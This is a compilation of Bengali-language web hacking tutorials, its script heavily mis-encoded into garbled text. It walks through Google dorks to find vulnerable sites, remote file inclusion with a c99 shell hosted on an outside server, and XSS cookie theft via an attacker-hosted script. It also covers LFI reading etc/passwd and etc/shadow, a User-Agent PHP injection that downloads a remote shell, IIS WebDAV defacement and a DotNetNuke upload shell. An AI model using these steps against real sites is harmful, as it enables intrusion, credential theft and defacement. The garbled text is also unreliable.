এআ ধযাচছযয এখাচছনআ ভাকতি ভচছন যাখচছফন সকান কাজ কযায অচছগ এয সাযার আকতনজকতনযাকতযংচছযয ফযাযটি খফ বাচছরাবাচছফ নধাফন কযা উকতচত মখন অভযা কায আচছভআচছর সকান কতকছ াঠাআ এফং স মকতদ কতকছ াঠায সটাআ সাযার আকতনজকতনযাকতযং অয এবাচছফআ অভযা সাযার আকতনজকতনযাকতযং কাউচছক সটরাজান ফা কী-রগায াঠাচছত ফযফায কযফ ফাআ খফ বাচছরা থাকচছফন
কতরচছখচছছনঃ সভচছকতদ াান
অজ সদখাফ Remote file inclusion যাকতকং অনাযা যত জাচছনন না সম যাকতকং কযায সথচছক যাকতকং কতনচছয সাি সরখা অয কঠিন কিকয মকতদ সাি কযচছতন তাচছর ফঝচছতন থাক সাি কযা রাগচছফ না শধ ভনতফয কযচছরআ চছফ ভনতফয কযচছর সাচছিয সরখক উৎাকতত য এচছত তাচছদয সরখায গকতত সবাচনদয ফাচছি তাচছর অয কথা নয এফায শর চছয মাক সািটিhellip
Remote file inclusion যাকতকং এচছক ংচছকষচছ ফচছর RFI যাকতকং এটি ননযা যাকতকং ভযাথচছডয ভচছধয এটি একটি নযতভ জনকতপরয ভযাথড নযনযা িকততয ভচছতা এআ িকততচছত অনাচছক চছযফাআচছটয vulnerability সফয কযচছত চছফ এআ vulnerability এয ভাধযচছভ একজন যাকায একটি চছযফ াবব াচছযয remote file মি কযচছত াচছয অা ককতয RFI যাকতকং িচছকব সভাটাভটি ধাযণা সচছযচছছন
mdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdash
mdashmdashmdashmdashmdash
সকান াআটটি vulnerable কতকবাচছফ ফঝচছফন খফআ কঠিন পরশন তাআ না এআ পরচছশনয উততয জানায জনয কতনচছচয কতরংকটি সদচছখনhellip
httpwwwtargetsitecomindexphppage=Anything
উচছযয কতরংচছকয ভচছতাআ সদখচছত াচছফন সমগচছরা অকতন খজচছেন তনন তনন কচছয এখন এগচছরা ফাকতয কযচছফন কতকবাচছফ গগর ডকদযকায কতনন কতনচছচ গগর ডক কতদরাভ
ldquoinurlindexphppage=rdquo
উচছযয ডকটি গগচছর কতনচছয াচব কতদন তাচছর অনাচছক ―indexphppage= এআ টাআচছয মত চছযফাআট অচছছ
ফগচছরা চছযফাআট গগর অনায াভচছন এচছন াকতজয কযচছফ এখন সকান চছযফাআটটি অজচছকয ভযাথচছডয জনয vulnerable তা যীকষা কচছয সদখচছত চছফ কতকবাচছফ কযচছফন কতনচছচয ভচছতা কচছয করন
httpwwwtargetsitecomindexphppage=wwwgooglecom
এখন ভচছন কচছযন অকতভ অকতভ httpwwwcbspkcomএআ াআটটি খচছজ সচছযকতছ এখন অভযা চাআফ এটা vulnerable কতক না তাচছর কতরখনhellip
httpwwwcbspkcomv2indexphppage=httpwwwtunerpagecom
তাচছর এটি সদখাচছফhellip
এখন মকতদ উি চছযফাআটটি নয চছযফাআট কতনচছয সখাচছর তাচছর ফঝচছফন সম এআ চছযফ াআচছট RFI আচছেকান সদযা মাচছফ এফায অন চছযয ধাচছhellip
এযয াধাযণত যাকাযযা তায কতবকটিচছভয চছযফাআচছট সম সকান Shells অচছরাড কচছয মাচছত তায কাজটি ফাআচছক সদখাচছত ভাচছন পরভাণটি সফকতযবাগ যাকাযযা c99 shell ফা r57 shell অচছরাড কচছয অকতভ অনাচছদয সদখাফ c99 shell অচছরাড কযা এজনয যাকাযযা সম সকান একটি চছযফচছািটিং াআচছট তাচছদয সর অচছরাড কচছয সনয সমভন-ripwaycom 110mbcom আতযাকতদ এখন ভচছন কচছযন অকতভ ripwaycom এআ াআচছট সর অচছরাড কযরাভ তাচছর অভায কতরংক চছফhellip
httph1ripwaycomtjunselectedc99shellphp
এফায যাকায চছযফাআটটিচছত একটি কভানড কতদচছফ কভানডটি চছফ httpwwwcbspkcomv2indexphppage=httph1ripwaycomtjunselectedc99shellphp
এখন তাচছর এটি চছযফাআট সদখফ সদচছখন কতক সদচছখন
তচছফ ফযআ ভচছন যাখচছফন কতরংচছকয সচছলldquo rdquo পরশনচছফাধক কতচহনটি রাকতগচছয কতদচছফন নতফা অনায সর কাজ কযচছফ না
কতনফবাকতচতটিউনাযtrade
XSS কতক
XSS যাকতকং িচছকব জানচছত চছর পরথচছভআ জানচছত চছফ XSS কতজকতনটা কতক Cross site Scripting এয ংকতকষিরআ চছে XSS এটাচছক অফায CSS(Cascading Style sheet) ফচছর থাচছক মায সমবাচছফ আো স বাচছফ ফচছর এটা Web
Application Vulnerability এয ফচছচচছয জনকতপরয গচছরায একটি এআ vulnerability একজন যাকাযচছক একটি াআচছট client side scripts (কতফচছল কতকছ Javascript) আনাটব কযায নভকতত পরদান কচছযন এআ vulnerability কতদচছয একজন যাকায কতবকটিচছভয াআচছট malicious codes malware attack phishing আতযাকতদ inject কযাচছত াচছয
ছকতফঃ http3bpblogspotcom_lBoKsfWMhbETLYDr8vQmTIAAAAAAAAAAMV1wVWY0GB70s1600
xss-threat3jpg
XSS Vulnerability and Injection
যাপ ১ Vulnerable মেব িািআট োমজ মবর করা
অচছন পরথচছভ Vulnerable াআট খচছজ সফয করন এজনয স পরথচছভ Google এ মান তাযয Google Dorks
ফযফায কচছয Vulnerable াআট খচছজ সফয কচছযন তাচছর অকতন তায াচছথ াচব কতদন কতনচছচয sql Injection কতদচছয searchq=
তাচছর অকতন চছনকগচছরা Vulnerable াআট খচছজ াচছফন এফায একটি াআচছট পরচছফ করন
যাপ ২ Vulnerability পরীো করা
এখন অভযা সম াআচছট পরচছফ কচছযকতছ সআ াআচছটয Vulnerability যীকষা কচছয সদখফ এজনয অনাচছক পরথচছভ উি াআচছটয এফটি সাি ফা parameter খচছজ সফয কযচছত চছফ ফচছঝচছছন
না ফঝচছর একট চছকষা কচছযন ফরকতছ ভাচছন অকতন এভন একটি সািখচছজ সফয কযচছফন মা উি াআচছটয াবব ায াঠাচছফ সমভনঃ search query username password
Vulnerability যীকষা কযা জনয দটি িকতত অচছছ
পদধসত ১ পরথম পদধসত হ িািআমটর ম িািব বমে injection করা একজন যাকায াধাযণত াআচছটয ভর াচব ফচছকস একটি malcious script কতরচছখ তাযযাচব ফাটচছন কতিক কচছয াচব সদযায াচছথ াচছথ malcious script টি চছযফাআচছট কাজ কযা শর কচছয সদয
http2bpblogspotcom-
8z5CXuZZpegTpgBgtdbdBIAAAAAAAAAsEqCTc_dxniWEs1600search+boxjpg
পদধসত ২ িািআমটর URL এ injection করা এটি সকান াচব ফচছকস কাজ কচছয না এটি শধ ভাতর াআচছটয URL এ কাজ কচছয থাচছক সমভনঃ- htpvulnerablewebsitesearchq=malicious_script_goes_here
যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন
এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-
পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন
সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=
এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable
যাপ ৩ Malicious Scripts মদো
Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ
এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ
httpattackerSitemaliciousjs
এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ
এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ
িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent
Persistent XSS
এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage
Non-Persistent XSS
এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily
একজি হযাকার এিআ Vulnerability সদমে সক কমর
কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা
চছযফ াআচছটয Bypassing restriction
Session Hijacking Malware Attack
Website Defacement Dos attacks
কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর
শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম
অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে
যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক
LFI
যাকাযচছদয
একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র
Local File Inclusionঅজ
অনাচছদয
াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য
পরথচছভ
কতনচছচয PHP সকাডগচছরা
সদখনhellip
$page=$_GET[page] include($page)
gt
উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক
কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ
wwwmywebsitecomindexphppage=productsphp
অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম
এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র
wwwmywebsitecomindexphppage=mypagephp
এখাচছন
সদচছখন mypagephp াতাটি
াবব াচছয
সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-
Warning
include() [functioninclude] Failed opening mypagephp for
inclusion
তাচছর
এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd
এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
এখন
অভযা পাআচছর
পরচছফ
কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip
wwwmywebsitecomindexphppage=products
এখাচছন
একটা কতজকতন রকষয করন সম
php এয
য page=products যচছযচছছ
এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র
$page=$_GET[page]
include($pagelsquophplsquo)
gt
এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpassd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip
etcprofile
etcservices
etcpasswd
etcshadow
etcgroup
etcsecuritygroup
etcsecuritypasswd
etcsecurityuser
etcsecurityenviron
etcsecuritylimits
usrlibsecuritymkuserdefault
এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ
------------------------------------------------------------------------------------------
hellipএবার িঅমরা হযাসকিং মদেবhellip
Requirements
1) Site vulnerable to LFI ( httpwwwsitecom)
2) Remoteshell( httpwwwyourhostingurshelltxt)
3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher
4) Mozilla Firefox Browser
পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা
Google ―Dork
indexphphomepage=
indexphppage=
indexphpindex2=
allinurlindexphppage=
অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন
সমভন
allinurlsitephpsite=
এফায ডক গগচছর কতদচছয াচব কতদন
অভযা
কতনচছছয ভত একটি াআট কতনরাভ
httpwwwfilllpgcoukindexphppage=contactsphp
এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ
httpwwwfilllpgcoukindexphppage=null
তাচছর নীচছচয ভত সদখাচছফ
If you see a list of errors running down the page or missing content
(pictures text etc) then the site is vulnerable and we may continue
otherwise just move on to the next site
Now were going to try and connect to a file which we know exists on Linux
servers etcpasswd
Since indexphp has the rights to connect to a file like contactsphp its
possible that the administrator has forgottten to restrict its access to other
files including the files containing sensitive data
Were going to try to read the file etcpasswd which contains data
on root users etc
অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত
াকতয নীচছচয ভত
এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ
httpwwwfilllpgcoukindexphppage=etcpasswd
মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান
েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG
etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয
httpwwwfilllpgcoukindexphppage=procselfenviron
েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG
এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent
ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip
েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG
এফায
অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর
অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন
েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG
এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং
User-Agent টি এখাচছন সি করন User-Agent এয Tools
ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন
তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন
েসব মদেি http2bpblogspotcom-
kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG
এফায
Ctrl+F সচচছ
―disable_functions খচছজ সফয করন
disable_functions
| no value | no value
এখন
অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান
Edit করন
এফায ―User-Agent টি কতযফতব ন কচছয কতরখন
httpwwwsh3llorgegytxt -O shellphp)gt[
এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]
এফায
এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক
েসব মদেি http3bpblogspotcom-
SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG
কতকছ
সডচছভা
াআট কতরংক কতদরাভ
কতকছ
াআট LFI httppastebinca2385927
কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ
httpwwwyoutubecomwatchv=FP229bKm5v4
httpwwwyoutubecomwatchv=9W9qWAhwaTo
httpwwwyoutubecomwatchv=hMguilRsteY
কাচছটব কত-কতনফবাকতচত টিউনাযtrade
অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ
সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত
অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয
উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ
WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-
00A0C90AB50F
কতরচছখ Enter চান
২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo
ছকতফ
৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address
Google Dork - ldquoPowered by IISrdquo
৪কতিক NextgtNextgtFinish
৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন
এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik
কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয
gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt
কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব
ফাংরা যাকতকং টিউচছটাকতযযার
পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন
ছকতফ
এফায Next ফাটচছন কতিক করন
ছকতফ
অফায Next করন
ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg
এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom
ছকতফ
অফায Next ফাটচছন কতিক করন
এফায Finish ফাটচছন কতিক করন
ছকতফ
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা
এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন
কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয
১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ
অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয
একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয
কতকনত DoS যাটাক টা চছে কতনচছচয ভত
অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত
D0S DDoS attack এয কাযন কতক
২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ
অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক
১) যাকাযচছদয কভতরফ
খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ
ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন
যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক
থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয
থফা কতনতানতআ পরযাকটি এয উচছেচছ
২) sysadmin এয বার ভতরফ
নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ
াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ
কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন
DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায
DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয
ড যাটাক এয কভন কামবপরণারী গচছরা চছে -
কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা
কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা
কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা
